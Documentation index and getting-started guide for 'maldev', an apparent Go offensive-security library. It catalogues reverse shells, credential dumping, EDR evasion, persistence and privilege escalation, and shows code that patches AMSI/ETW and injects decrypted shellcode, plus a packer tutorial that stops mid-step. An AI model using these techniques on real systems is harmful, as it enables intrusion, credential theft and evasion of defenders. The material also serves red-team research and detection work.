Documentation Index

← maldev README

The navigation spine for everything in docs/. Three ways in, depending on what you came for.

[!TIP] If you don't know where to start, pick a role first; the role page walks you through a curated reading order.

By role

RoleWhat you get
🟥 Operator (red team)Production chains, OPSEC, payload delivery, common scenarios
🔬 Researcher (R&D)Architecture, Caller pattern, paper references, Windows-version deltas
🟦 Detection engineer (blue team)Per-technique artifacts, telemetry, D3FEND counters, hunt examples

By technique area

Each area page lists every technique in the area with a one-liner; click through for the full template (Primer / How It Works / API / Examples / OPSEC / MITRE / Limitations / See also).

AreaPagesWhat's covered
c26reverse shell + reconnect, transport (TLS/JA3), Meterpreter staging, multicat, named pipe
cleanup7self-delete, secure wipe, timestomp, ADS, BSOD, service hide
collection5keylog, clipboard, screenshot, ADS, LSASS dump
credentials4LSASS dump, sekurlsa parser, SAM offline, Golden Ticket
crypto1payload encryption (AES-GCM, ChaCha20) and signature-breaking transforms (XTEA, S-Box, Matrix, ArithShift, XOR)
encode1Base64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand
hash2cryptographic hashes (MD5/SHA-*), ROR13 API hashing, fuzzy hashes (ssdeep, TLSH)
evasion19AMSI/ETW patches, ntdll unhook, sleep mask, ACG, BlockDLLs, callstack spoof, kernel callback removal, anti-VM/sandbox/timing
injection12CreateThread, EarlyBird APC, ThreadHijack, SectionMap, KernelCallback, Phantom DLL, ThreadPool, NtQueueApcThreadEx, EtwpCreateEtwThread, …
pe7strip & sanitize, BOF loader, morph, PE-to-shellcode, certificate theft, masquerade
persistence6Run/RunOnce, startup folder LNK, scheduled task, service, account creation
runtime2BOF / COFF loader, in-process .NET CLR hosting
syscalls3direct & indirect syscalls, API hashing (ROR13, FNV1a, …), SSN resolvers (Hell's / Halo's / Tartarus / Hash Gate)
tokens3token theft, impersonation, privilege escalation

By MITRE ATT&CK ID

T-IDPackages
T1003.001credentials/lsassdump · credentials/sekurlsa
T1003.002credentials/samdump
T1014kernel/driver · kernel/driver/rtcore64
T1016recon/network · win/domain
T1021.002c2/transport/namedpipe
T1027crypto · encode · evasion/hook/shellcode · evasion/sleepmask · win/api
T1027.002pe · pe/morph · pe/packer · pe/packer/runtime · pe/packer/stubgen · pe/packer/stubgen/amd64 · pe/packer/stubgen/poly · pe/packer/stubgen/stage1 · pe/packer/transform · pe/parse · pe/strip
T1027.005pe/strip · process/tamper/herpaderping · process/tamper/hideprocess · recon/hwbp
T1027.007win/syscall
T1027.013crypto
T1036evasion/callstack · evasion/stealthopen
T1036.005pe · pe/masquerade · pe/masquerade/donors · process · process/tamper/fakecmd
T1053.005persistence · persistence/scheduler
T1055c2/meterpreter · inject · process/tamper/herpaderping
T1055.001inject · pe · pe/srdi
T1055.003inject
T1055.004inject
T1055.012inject
T1055.013process · process/tamper/herpaderping
T1055.015inject
T1056.001collection · collection/keylog
T1057process · process/enum
T1059c2 · c2/meterpreter · c2/shell · runtime/bof · runtime/clr · runtime/pe
T1059.001c2/shell
T1059.003c2/shell
T1059.004c2/shell
T1068credentials/lsassdump · kernel/driver · kernel/driver/rtcore64 · privesc/cve202430088
T1070cleanup · cleanup/memory
T1070.004cleanup · cleanup/selfdelete · cleanup/wipe
T1070.006cleanup · cleanup/timestomp
T1071c2 · c2/transport · c2/transport/websocket · evasion/hook/bridge
T1071.001c2 · c2/meterpreter · c2/transport/namedpipe · useragent
T1078win/privilege
T1082win/domain · win/version
T1083recon/drive · recon/folder
T1090c2/pivot/socks5
T1090.001c2/pivot/socks5
T1090.004c2/transport/websocket
T1095c2 · c2/meterpreter · c2/transport
T1098persistence/account
T1106pe · pe/imports · win/api · win/ntapi · win/syscall
T1113collection · collection/screenshot
T1115collection · collection/clipboard
T1120recon/drive
T1134win/privilege · win/token
T1134.001privesc/cve202430088 · process/session · win/impersonate · win/token
T1134.002process · process/session · win/impersonate · win/token
T1134.004win/impersonate
T1134.005win/token
T1136.001persistence · persistence/account
T1204.002persistence · persistence/lnk
T1497evasion · recon/sandbox
T1497.001recon/antivm
T1497.003recon/timing
T1529cleanup · cleanup/bsod
T1543.003cleanup · cleanup/service · kernel/driver · kernel/driver/rtcore64 · persistence · persistence/service
T1547.001persistence · persistence/registry · persistence/startup
T1547.009persistence · persistence/lnk · persistence/startup
T1548.002privesc/uac · recon/dllhijack · win/privilege
T1550.002credentials/sekurlsa
T1553.002pe · pe/cert · pe/masquerade/donors
T1558.001credentials/goldenticket
T1558.003credentials/sekurlsa
T1562.001evasion · evasion/acg · evasion/amsi · evasion/blockdlls · evasion/cet · evasion/etw · evasion/kcallback · evasion/preset · evasion/unhook
T1562.002process · process/tamper/phant0m
T1564cleanup/service · process/tamper/fakecmd
T1564.001process · process/tamper/hideprocess
T1564.004cleanup · cleanup/ads
T1571c2 · c2/multicat
T1573c2 · c2/transport
T1573.001c2/cert
T1573.002c2 · c2/cert · c2/transport
T1574.001pe/dllproxy · recon/dllhijack
T1574.002pe/dllproxy
T1574.012evasion · evasion/hook · evasion/hook/bridge · evasion/hook/shellcode
T1620pe/packer · pe/packer/runtime · pe/srdi · runtime/bof · runtime/clr · runtime/pe
T1622evasion · recon/antidebug · recon/hwbp

By package

Grouped by area, expandable. Click any package name to jump to its pkg.go.dev godoc; expand an area to scan every package's detection level and one-line summary in one place.

Each area is collapsed by default — click to expand. Detection level is the canonical 5-level scale (very-quietvery-noisy); umbrella / variable packages show as .

Layer 0 — pure-Go primitives (`crypto`, `encode`, `hash`, `random`, `useragent`) — 5 packages
PackageDetectionSummary
cryptovery-quietprovides cryptographic primitives for payload encryption / decryption and lightweight obfuscation
encodevery-quietprovides encoding / decoding utilities for payload transformation: Base64 (standard + URL-safe), UTF-16LE (Windows API strings), ROT13, and PowerShell -EncodedCommand format
hashvery-quietprovides cryptographic and fuzzy hash primitives for integrity verification, API hashing, and similarity detection
randomvery-quietprovides cryptographically secure random generation helpers backed by crypto/rand (OS entropy)
useragentvery-quietprovides a curated database of real-world browser User-Agent strings for HTTP traffic blending
Windows primitives — `win/*` — 10 packages
PackageDetectionSummary
winis the parent umbrella for Windows-only primitives
win/apivery-quietis the single source of truth for Windows DLL handles, procedure references, and structures shared across maldev
win/comholds Windows COM helpers shared across maldev
win/domainvery-quietqueries Windows domain-membership state — whether the host is workgroup-only, joined to an Active Directory domain, or in an unknown state
win/impersonatemoderateruns callbacks under an alternate Windows security context — by credential, by stolen token, or by piggy- backing on a target PID
win/ntapiquietexposes a small set of typed Go wrappers over ntdll!Nt* functions that maldev components use frequently — memory allocation, write/protect, thread creation, and system information query
win/privilegemoderateanswers two operational questions: am I admin right now, and how do I run something else as a different principal? It wraps IsAdmin / IsAdminGroupMember for privilege detection and three execution primitives — ExecAs, CreateProcessWithLogon, ShellExecuteRunAs — for spawning processes under alternate credentials
win/syscallquietprovides five strategies for invoking Windows NT syscalls — from a hookable kernel32 call to fully indirect SSN dispatch through an in-ntdll syscall;ret gadget (heap stub or Go-assembly stub) — under one uniform [Caller] interface
win/tokenmoderatewraps Windows access-token operations: open/duplicate process and thread tokens, steal a token from another PID, enable or remove individual privileges, query integrity level, and retrieve the active interactive session's primary token
win/versionvery-quietreports the running Windows OS version, build, and patch level — bypassing the manifest-compatibility shim that masks GetVersionEx results to the manifest-declared compatibility target
Kernel BYOVD — `kernel/driver/*` — 2 packages
PackageDetectionSummary
kernel/driververy-noisydefines the kernel-memory primitive interfaces consumed by EDR-bypass packages that need arbitrary kernel reads or writes (kcallback, lsassdump PPL-bypass, callback-array tampering, …)
kernel/driver/rtcore64very-noisywraps the MSI Afterburner RTCore64.sys signed driver (CVE-2019-16098) as a [kernel/driver.ReadWriter] primitive
Evasion — `evasion/*` — 15 packages
PackageDetectionSummary
evasionis the umbrella for active EDR / AV evasion
evasion/acgquietenables Arbitrary Code Guard for the current process so the kernel refuses any further VirtualAlloc(PAGE_EXECUTE) / VirtualProtect(PAGE_EXECUTE) requests
evasion/amsinoisydisables the Antimalware Scan Interface in the current process via runtime memory patches on amsi.dll
evasion/blockdllsquietapplies the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES mitigation so the loader refuses any DLL that isn't Microsoft-signed
evasion/callstackquietsynthesises a return-address chain so a stack walker at a protected-API call site sees frames that originate from a benign thread-init sequence rather than from the attacker module
evasion/cetnoisyinspects and relaxes Intel CET (Control-flow Enforcement Technology) shadow-stack enforcement for the current process, and exposes the ENDBR64 marker required by CET-gated indirect call sites
evasion/etwmoderateblinds Event Tracing for Windows in the current process by patching the ETW write helpers in ntdll.dll with xor rax,rax; ret
evasion/hooknoisyinstalls x64 inline hooks on exported Windows functions: patch the prologue with a JMP to a Go callback, automatically generate a trampoline for calling the original, and fix up RIP-relative instructions in the stolen prologue
evasion/hook/bridgemoderateis the bidirectional control channel between a hook handler installed inside a target process and the implant that placed it
evasion/hook/shellcodenoisyships pre-fabricated x64 position-independent shellcode blobs used as handler bodies for [github.com/oioio-space/maldev/evasion/hook].RemoteInstall
evasion/kcallbackvery-noisyenumerates and removes kernel-mode callback registrations that EDR products use to observe process/thread/image- load events from the kernel side
evasion/presetbundles evasion.Technique primitives into four validated risk levels for one-shot deployment
evasion/sleepmaskquietencrypts the implant's payload memory while it sleeps so concurrent memory scanners cannot recover the original shellcode bytes or PE headers
evasion/stealthopenquietreads files via NTFS Object ID (the 128-bit GUID stored in the MFT) instead of by path, bypassing path-based EDR hooks on NtCreateFile / CreateFileW
evasion/unhooknoisyrestores the original prologue bytes of ntdll.dll functions, removing inline hooks installed by EDR/AV products
Injection — `inject` — 1 package
PackageDetectionSummary
injectnoisyprovides unified shellcode injection across Windows and Linux with a fluent builder, decorator middleware, and automatic fallback between methods
PE manipulation — `pe/*` — 20 packages
PackageDetectionSummary
peis the umbrella for Portable Executable analysis, manipulation, and conversion utilities
pe/certquietmanipulates the PE Authenticode security directory — read, copy, strip, and write WIN_CERTIFICATE blobs without any Windows crypto API
pe/dllproxyvery-quietemits a valid Windows DLL — as raw bytes, no external toolchain — that forwards every named export back to a legitimate target DLL
pe/importsvery-quietenumerates a PE's import surface — both the classic IMAGE_IMPORT_DESCRIPTOR table AND the IMAGE_DELAY_IMPORT_DESCRIPTOR table — without invoking any Windows API
pe/masqueradequietclones a Windows PE's identity — manifest, icons, VERSIONINFO, optional Authenticode certificate — into a linkable .syso COFF object so a Go binary picks them up at compile time
pe/masquerade/donorsvery-quietlists the reference (donor) PE files the pe/masquerade preset generator and the cmd/cert-snapshot tool share
pe/masquerade/preset(no doc.go summary)
pe/morphmoderatemutates UPX-packed PE headers so automatic unpackers fail to recognise the input
pe/packermoderateis maldev's custom PE/ELF packer
pe/packer/internal/elfgateimplements the Z-scope pre-flight check for Go static-PIE ELF inputs: ET_DYN + .go.buildinfo present + no DT_NEEDED
pe/packer/runtimenoisyis the consumer side of [pe/packer]: takes a packed blob + key and reflectively loads the original PE into the current process's memory
pe/packer/stubgennoisydrives the UPX-style transform pipeline for Phase 1e
pe/packer/stubgen/amd64quietwraps github.com/twitchyliquid64/golang-asm into a focused builder API for the polymorphic stage-1 decoder Phase 1e (v0.61.x) emits
pe/packer/stubgen/polyquietimplements the SGN-style metamorphic engine the Phase 1e (v0.61.x) packer uses to generate polymorphic stage-1 decoders
pe/packer/stubgen/stage1moderateemits the polymorphic stub the UPX-style packer places in a new section of the modified host binary
pe/packer/stubgen/stage1/asmtraceon non-Windows platforms is a stub
pe/packer/transformnoisyimplements UPX-style in-place modification of input PE/ELF binaries
pe/parsevery-quietprovides PE file parsing and modification utilities
pe/srdimoderateconverts PE / .NET / script payloads into position-independent shellcode via the Donut framework (github.com/Binject/go-donut)
pe/stripquietsanitises Go-built PE binaries by removing toolchain artefacts that fingerprint the producer
Runtime loaders — `runtime/*` — 3 packages
PackageDetectionSummary
runtime/bofmoderateloads and executes Beacon Object Files (BOFs) — compiled COFF object files (.o) — entirely in process memory
runtime/clrmoderatehosts the .NET Common Language Runtime in process via the ICLRMetaHost / ICorRuntimeHost COM interfaces and executes managed assemblies from memory without writing them to disk
runtime/pemoderateruns full Portable Executable binaries (EXE / DLL) in-process by dispatching them through an embedded Fortra No-Consolation BOF on top of [runtime/bof]
Recon — `recon/*` — 9 packages
PackageDetectionSummary
recon/antidebugquietdetects whether a debugger is currently attached to the implant — Windows via IsDebuggerPresent (PEB BeingDebugged), Linux via /proc/self/status TracerPid
recon/antivmquietdetects virtual machines and hypervisors via configurable check dimensions: registry keys, files, MAC prefixes, processes, CPUID/BIOS, and DMI info
recon/dllhijackmoderatediscovers DLL-search-order hijack opportunities on Windows — places where an application loads a DLL from a user-writable directory BEFORE reaching the legitimate copy (typically in System32)
recon/drivequietenumerates Windows logical drives and watches for newly connected removable / network volumes
recon/foldervery-quietresolves Windows special folder paths via two Shell32 entry points: [Get] (legacy SHGetSpecialFolderPathW, CSIDL-keyed) and [GetKnown] (modern SHGetKnownFolderPath, KNOWNFOLDERID-keyed)
recon/hwbpmoderatedetects and clears hardware breakpoints set by EDR products on NT function prologues — surviving the classic ntdll-on-disk-unhook pass
recon/networkvery-quietprovides cross-platform IP address retrieval and local-address detection
recon/sandboxquietis the multi-factor sandbox / VM / analysis-environment detector — a configurable orchestrator that aggregates checks across recon/antidebug, recon/antivm, and its own primitives into a single "is this a sandbox?" assessment
recon/timingquietprovides time-based evasion that defeats sandboxes which fast-forward Sleep() calls — sandboxes commonly hook Sleep / WaitForSingleObject to skip the delay and analyse what the implant does next
Process — `process/*` + `process/tamper/*` — 7 packages
PackageDetectionSummary
processis the umbrella for cross-platform process enumeration / management, plus the Windows-specific process-tamper sub-tree
process/enumquietprovides cross-platform process enumeration — list every running process or find one by name / predicate
process/sessionmoderateenumerates Windows sessions and creates processes / impersonates threads inside other users' sessions
process/tamper/fakecmdquietoverwrites the current process's PEB CommandLine UNICODE_STRING so process-listing tools (Process Explorer, wmic, Get-Process, Task Manager) display a fake command-line instead of the real one
process/tamper/herpaderpingmoderateimplements Process Herpaderping and the related Process Ghosting variant — kernel image-section cache exploitation that lets the running process execute one PE while the file on disk reads as another (or doesn't exist)
process/tamper/hideprocessmoderatepatches a target process's user-mode process-enumeration surface so it returns empty / failed results — blinding monitoring tools without killing them
process/tamper/phant0mnoisysuppresses Windows Event Log recording by terminating the EventLog service threads inside the hosting svchost.exe — the service stays "Running" in the SCM listing but no new entries are written
Credentials — `credentials/*` — 4 packages
PackageDetectionSummary
credentials/goldenticketnoisyforges Kerberos Golden Tickets — long-lived TGTs minted with a stolen krbtgt account hash
credentials/lsassdumpnoisyproduces a MiniDump blob of lsass.exe's memory so downstream tooling (credentials/sekurlsa, mimikatz, pypykatz) can extract Windows credentials
credentials/samdumpquietperforms offline NT-hash extraction from a SAM hive (with the SYSTEM hive supplying the boot key)
credentials/sekurlsaquietextracts credential material from a Windows LSASS minidump — the consumer counterpart to credentials/lsassdump
Collection — `collection/*` — 4 packages
PackageDetectionSummary
collectiongroups local data-acquisition primitives for post-exploitation: keystrokes, clipboard contents, screen captures
collection/clipboardquietreads and watches the Windows clipboard text
collection/keylognoisycaptures keystrokes via a low-level keyboard hook (SetWindowsHookEx(WH_KEYBOARD_LL))
collection/screenshotquietcaptures the screen via GDI BitBlt and returns PNG bytes
Cleanup — `cleanup/*` — 8 packages
PackageDetectionSummary
cleanupquietis the umbrella for on-host artefact removal / anti-forensics primitives that run after an operation completes
cleanup/adsquietprovides CRUD operations for NTFS Alternate Data Streams
cleanup/bsodvery-noisytriggers a Blue Screen of Death via NtRaiseHardError as a last-resort cleanup primitive
cleanup/memoryvery-quietprovides secure memory cleanup primitives for wiping sensitive data (shellcode, keys, credentials) from process memory
cleanup/selfdeletemoderatedeletes the running executable from disk while the process continues to execute from its mapped image
cleanup/servicenoisyhides Windows services from listing utilities by applying a restrictive DACL on the service object
cleanup/timestompquietresets a file's NTFS $STANDARD_INFORMATION timestamps so a dropped artifact blends with surrounding files
cleanup/wipequietoverwrites file contents with cryptographically random data before deletion to defeat trivial forensic recovery
Persistence — `persistence/*` — 7 packages
PackageDetectionSummary
persistenceis the umbrella for system persistence techniques — mechanisms that re-launch an implant across reboots and user logons
persistence/accountnoisyprovides Windows local user account management via NetAPI32 — create, delete, set password, manage group membership, enumerate
persistence/lnkquietcreates Windows shortcut (.lnk) files via COM/OLE automation — fluent builder API, fully Windows-only
persistence/registrymoderateimplements Windows registry Run / RunOnce key persistence — the canonical "auto-launch on logon" hook
persistence/schedulermoderatecreates, deletes, lists, and runs Windows scheduled tasks via the COM ITaskService API — no schtasks.exe child process
persistence/servicenoisyimplements Windows service persistence via the Service Control Manager — the highest-trust persistence mechanism available, running as SYSTEM at boot
persistence/startupmoderateimplements StartUp-folder persistence via LNK shortcut files — Windows Shell launches every shortcut in the folder at user logon
Privilege escalation — `privesc/*` — 2 packages
PackageDetectionSummary
privesc/cve202430088noisyimplements CVE-2024-30088 — a Windows kernel TOCTOU race in AuthzBasepCopyoutInternalSecurityAttributes that yields local privilege escalation to NT AUTHORITY\SYSTEM by overwriting the calling thread's primary token with lsass.exe's SYSTEM token
privesc/uacnoisyimplements four classic UAC-bypass primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt
C2 — `c2/*` — 9 packages
PackageDetectionSummary
c2provides command and control building blocks: reverse shells, Meterpreter staging, pluggable transports (TCP / TLS / uTLS / named pipe), mTLS certificate helpers, and session multiplexing
c2/certquietprovides self-signed X.509 certificate generation and fingerprint computation for C2 TLS infrastructure
c2/meterpreternoisyimplements Metasploit Framework staging — pulls a second-stage Meterpreter payload from a multi/handler and executes it in the current process or a target picked via the optional Config.Injector
c2/multicatquietprovides a multi-session reverse-shell listener for operator use
c2/pivot/socks5moderatewraps the armon/go-socks5 server in a thin maldev primitive — a beacon-side SOCKS5 listener the operator pivots through to reach the beacon's network
c2/shellnoisyprovides a reverse shell with automatic reconnection, PTY support, and optional Windows evasion integration
c2/transportmoderateprovides pluggable network transport implementations for C2 communication: plain TCP, TLS with optional certificate pinning, and uTLS for JA3/JA4 fingerprint randomisation
c2/transport/namedpipequietprovides a Windows named-pipe transport implementing the [github.com/oioio-space/maldev/c2/transport] Transport and Listener interfaces
c2/transport/websocketmoderateimplements a WebSocket [transport.Transport] (dial side) and [transport.Listener] (accept side) for C2 channels that ride HTTP/1.1 + WS upgrade
UI utilities — 1 package
PackageDetectionSummary
uivery-quietexposes minimal Windows UI primitives — MessageBoxW via Show and the system alert sound via Beep
examples — 40 packages
PackageDetectionSummary
examples/c2-reverse-shellc2-reverse-shell — panorama 15 of the doc-truth audit
examples/cleanup-artifactscleanup-artifacts — panorama 10 of the doc-truth audit
examples/collection-screen-keylogcollection-screen-keylog — panorama 13 of the doc-truth audit
examples/credentials-dumpcredentials-dump — panorama 9 of the doc-truth audit
examples/inject-evasiveinject-evasive — panorama 2 of the doc-truth audit
examples/kernel-byovdkernel-byovd — panorama 16 of the doc-truth audit
examples/license-manager/01-issue-basic01-issue-basic — runnable companion to examples/license-manager/README.md
examples/license-manager/02-issue-with-bindings02-issue-with-bindings — runnable companion to README.md
examples/license-manager/03-revoke-and-crl03-revoke-and-crl — runnable companion to README.md
examples/license-manager/04-reissue04-reissue — runnable companion to README.md
examples/license-manager/05-hard-delete-roundtrip05-hard-delete-roundtrip — runnable companion to README.md
examples/license-manager/06-totp-secret06-totp-secret — runnable companion to README.md
examples/license-manager/09-import-and-verify09-import-and-verify — runnable companion to README.md
examples/license-manager/tutorials/01-issue-and-verify(no doc.go summary)
examples/license-manager/tutorials/01-issue-and-verify/clientTutorial 01 — verifier client
examples/license-manager/tutorials/02-bindings-and-verify(no doc.go summary)
examples/license-manager/tutorials/02-bindings-and-verify/clientTutorial 02 — verifier client that collects three evidence pieces at startup: a machine id (from hostid.Composite()), a password (typed by the user, read from --password flag for the E2E demo), and a 6-digit TOTP code (read from --totp)
examples/license-manager/tutorials/03-revocation-server(no doc.go summary)
examples/license-manager/tutorials/03-revocation-server/clientTutorial 03 — verifier client that fetches the CRL from a running revocation server before deciding whether to accept the licence
examples/license-manager/tutorials/04-totp-authenticator(no doc.go summary)
examples/license-manager/tutorials/04-totp-authenticator/clientTutorial 04 — verifier that requires a 6-digit TOTP code
examples/license-manager/tutorials/05-sealed-payload(no doc.go summary)
examples/license-manager/tutorials/05-sealed-payload/clientTutorial 05 — verifier that decrypts a sealed payload after the licence check passes
examples/packer-shellcodepacker-shellcode — runnable companion to Mode 6 of docs/techniques/pe/packer.md
examples/packer-tourpacker-tour — runnable companion to docs/examples/upx-style-packer.md
examples/pe-modifype-modify — panorama 11 of the doc-truth audit
examples/persistence-systempersistence-system — panorama 6 of the doc-truth audit
examples/persistence-userpersistence-user — panorama 5 of the doc-truth audit
examples/preset-stackspreset-stacks — panorama 18 of the doc-truth audit
examples/privesc-dll-hijackprivesc-e2e is the orchestrator for the maldev DLL-hijack privilege-escalation E2E proof
examples/privesc-dll-hijack/fakelibfakelib — a real Windows DLL with three named C exports
examples/privesc-dll-hijack/probeProbe for the privesc-e2e chain
examples/privesc-uacprivesc-uac — panorama 8 of the doc-truth audit
examples/process-tamperprocess-tamper — panorama 12 of the doc-truth audit
examples/recon-hostrecon-host — panorama 3 of the doc-truth audit
examples/recon-stealth-ppidrecon-stealth-ppid — example assembled from the user-facing markdown docs only
examples/runtime-loadersruntime-loaders — panorama 14 of the doc-truth audit
examples/syscall-matrixsyscall-matrix — panorama 17 of the doc-truth audit
examples/tokens-impersonatetokens-impersonate — panorama 7 of the doc-truth audit
examples/unhook-ntdllunhook-ntdll — panorama 4 of the doc-truth audit
license — 12 packages
PackageDetectionSummary
licenseprovides a defensive framing primitive for maldev research binaries: signed, structured license tokens that constrain who may run a given binary, on which machines, with which secrets, until when, and against which revocation/heartbeat policy
license/canonicalencodes Go values to a deterministic JSON form suitable for signing: object keys are recursively sorted, no insignificant whitespace is emitted, HTML characters are not escaped, and time.Time values are rendered in RFC3339Nano UTC
license/heartbeat(no doc.go summary)
license/hostidproduces a 32-byte machine fingerprint by mixing OS-provided identifiers (registry MachineGuid on Windows, /etc/machine-id on Linux, IOPlatformUUID on darwin) through sha256
license/identityholds a 32-byte build-time identity registered by the consumer binary (typically via //go:embed identity.bin and a call to Set)
license/identity/cmd/gen-identitygen-identity writes 32 random bytes to ./identity.bin if absent
license/internal/fileutilprovides shared filesystem helpers for the license package and its sub-packages
license/ntpperforms a minimal unauthenticated SNTPv4 query suitable as a soft cross-check of the local clock
license/revoke(no doc.go summary)
license/sealencrypts opaque payloads to a recipient identified by an X25519 public key
license/server(no doc.go summary)
license/totpimplements RFC 6238 time-based one-time passwords (TOTP) with helpers for QR-code provisioning (PNG and ASCII)

Cross-cutting guides

GuideWhat it explains
getting-started.mdConcepts, terminology, your first implant
architecture.mdLayered design, dependency flow, Mermaid diagrams
opsec-build.mdBuild pipeline: garble, pe/strip, masquerade
mitre.mdFull MITRE ATT&CK + D3FEND mapping
testing.mdPer-test-type details: injection matrix, Meterpreter sessions, BSOD
vm-test-setup.mdBootstrap a fresh host (VMs, SSH keys, INIT snapshot)
coverage-workflow.mdReproducible cross-platform coverage collection

Conventions

DocAudience
conventions/documentation.mdAnyone editing docs (this is the source of truth for templates, GFM features, voice, migration order)

Getting Started

← Back to README

Welcome to maldev — a modular Go library for offensive security research. This guide assumes zero malware development experience.

Prerequisites

  • Go 1.21+ installed
  • Windows for most techniques (some work cross-platform)
  • Basic Go knowledge (functions, packages, error handling)
  • For OPSEC builds: garble (go install mvdan.cc/garble@latest)

Installation

go get github.com/oioio-space/maldev@latest

Core Concepts

What is maldev?

maldev is a library, not a framework. You import the packages you need and compose them:

The Five Levels of Stealth

Every technique has a detection level declared in its doc.go. Choose based on your threat model:

LevelMeaningExample
very-quietIndistinguishable from baseline activityRtlGetVersion, NetGetJoinInformation
quietUsed routinely but in attacker-shaped patternsIndirect syscall, hash-resolved import
moderateWatched by EDR but common in benign softwareRWX VirtualAlloc, thread creation
noisyPattern is in every vendor's signature DBCross-process inject, UAC bypass
very-noisyTriggers an alert by defaultNtLoadDriver for an unsigned driver, NtUnloadDriver

Find the detection level for any package on its tech-md page (e.g., docs/techniques/evasion/amsi-bypass.md) and in its doc.go # Detection level section.

The Caller Pattern

The most important concept in maldev. Every function that calls Windows NT syscalls accepts an optional *wsyscall.Caller:

// Without Caller — uses standard WinAPI (hookable by EDR)
injector, _ := inject.NewInjector(&inject.Config{
    Method: inject.MethodCreateRemoteThread,
    PID:    pid,
})
injector.Inject(shellcode)

// With Caller — routes through indirect syscalls (bypasses EDR hooks)
injector, _ = inject.Build().
    Method(inject.MethodCreateRemoteThread).
    PID(pid).
    IndirectSyscalls().
    Create()
injector.Inject(shellcode)

Rule of thumb: Always create a Caller for real operations. Pass nil only for testing.

Your First Program

Step 1: Evasion (disable defenses)

package main

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
)

func main() {
    // Apply evasion techniques before doing anything suspicious
    techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),  // disable AMSI scanning
        etw.All(),               // disable ETW logging
    }
    evasion.ApplyAll(techniques, nil) // nil = standard WinAPI
}

Step 2: Load shellcode

import "github.com/oioio-space/maldev/crypto"

// Decrypt your payload (encrypted at build time)
key := []byte{/* your 32-byte AES key */}
shellcode, _ := crypto.DecryptAESGCM(key, encryptedPayload)

Step 3: Inject

import "github.com/oioio-space/maldev/inject"

cfg := &inject.Config{
    Method: inject.MethodCreateThread,  // self-injection
}
injector, _ := inject.NewInjector(cfg)
injector.Inject(shellcode)

Step 4: Build for operations

# Development build (with logging)
make debug

# Release build (OPSEC, no strings, no debug info)
make release

Per-Package Quick-Reference

If you know the technique you want, jump straight to the matching package:

GoalPackageDoc
Encrypt the payload before embeddingcryptoPayload Encryption
Encode the payload for transportencodeEncode
Patch AMSI / ETW in-processevasion/amsi, evasion/etwAMSI · ETW
Restore hooked ntdllevasion/unhookNTDLL Unhooking
Sleep with masked memoryevasion/sleepmaskSleep Mask
Spoof a callstack frameevasion/callstackCallstack Spoof
Remove EDR kernel callbacksevasion/kcallbackKernel-Callback Removal
BYOVD kernel R/Wkernel/driver (rtcore64)BYOVD RTCore64
Direct/indirect syscallswin/syscallSyscall Methods
Inject shellcodeinject/* (15 methods)Injection
Reflectively load a PEpe/srdiPE → Shellcode
Strip Go fingerprintspe/stripStrip + Sanitize
Run a .NET assembly in-processruntime/clrRuntime
Run a Beacon Object Fileruntime/bofRuntime
Dump LSASScredentials/lsassdumpLSASS Dump
Parse a MINIDUMP for NT hashescredentials/sekurlsaLSASS Parse
Bypass UACprivesc/uacPrivilege
Spoof a process command-lineprocess/tamper/fakecmdFakeCmd
Suspend Event Log threadsprocess/tamper/phant0mPhant0m
Persistence — registrypersistence/registryRegistry
Persistence — Startup folderpersistence/startupStartup Folder
Persistence — scheduled taskpersistence/schedulerTask Scheduler
Capture clipboard / keys / screencollection/{clipboard,keylog,screenshot}Collection
Reverse shellc2/shellReverse Shell
Metasploit stagingc2/meterpreterMeterpreter
Multi-session listener (operator side)c2/multicatMulticat
Named-pipe transportc2/transport/namedpipeNamed Pipe
Wipe in-process bufferscleanup/memoryMemory Wipe
Self-delete on exitcleanup/selfdelSelf-Delete
Compute fuzzy hash similarityhashFuzzy Hashing

For the full layered map, see Architecture § Per-Package Quick-Reference.

GoalRead
Understand the architectureArchitecture
Learn injection techniquesInjection Techniques
Learn EDR evasionEvasion Techniques
Understand syscall bypassSyscall Methods
Set up C2 communicationC2 & Transport
Build for operationsOPSEC Build Guide
See composed examplesExamples
Full MITRE coverageMITRE ATT&CK + D3FEND Mapping

Terminology Quick Reference

TermMeaning
ShellcodeRaw machine code bytes that execute independently
InjectionRunning code in another process's address space
EDREndpoint Detection & Response (e.g., CrowdStrike, Defender)
HookEDR modification of function prologues to intercept calls
SyscallDirect kernel call, bypassing userland hooks
SSNSyscall Service Number — index into kernel's function table
PEBProcess Environment Block — per-process kernel structure
AMSIAntimalware Scan Interface — Microsoft's content scanning API
ETWEvent Tracing for Windows — kernel telemetry system
Callermaldev's abstraction for choosing syscall routing method
OPSECOperational Security — avoiding detection and attribution

Your first packed payload

5-step tutorial. Each step produces a tangible artefact you can inspect. By the end you'll have packed a Go EXE with SGN+LZ4, watched it run, and seen what the unpacked vs packed binaries look like side-by-side.

Audience: anyone who has Go ≥1.21 installed and 5 minutes. Prerequisites: none beyond the Go toolchain.

This is a tutorial in the Diátaxis sense — it teaches by hand-holding. If you already know what you want and need a recipe, the Cookbook is the page you want.

Step 1 — clone and verify

git clone https://github.com/oioio-space/maldev
cd maldev
go build ./...

You should see: silence (no errors). The whole module compiled. If it fails, your Go is older than 1.21 — go version to check.

Step 2 — build a tiny victim binary

We'll pack a one-liner Go program. Make a scratch file:

mkdir -p /tmp/firstpack
cat > /tmp/firstpack/hello.go <<'GO'
package main
import "fmt"
func main() { fmt.Println("hello from a packed binary!") }
GO
GOOS=windows GOARCH=amd64 go build -o /tmp/firstpack/hello.exe /tmp/firstpack/hello.go
ls -la /tmp/firstpack/hello.exe

You should see: hello.exe weighing ~1.8 MB. That's the input.

Step 3 — pack it

Use the packer CLI (operator-facing binary under cmd/packer/).

go run ./cmd/packer \
    -in /tmp/firstpack/hello.exe \
    -out /tmp/firstpack/hello-packed.exe \
    -rounds 3
ls -la /tmp/firstpack/hello-packed.exe

You should see: a new hello-packed.exe, slightly larger (stub + SGN-encrypted body). Roughly the same size — packing doesn't compress by default, it encrypts the code section.

Step 4 — verify it's actually different

sha256sum /tmp/firstpack/hello.exe /tmp/firstpack/hello-packed.exe
strings /tmp/firstpack/hello.exe       | grep -i "hello from" | head
strings /tmp/firstpack/hello-packed.exe | grep -i "hello from" | head

You should see:

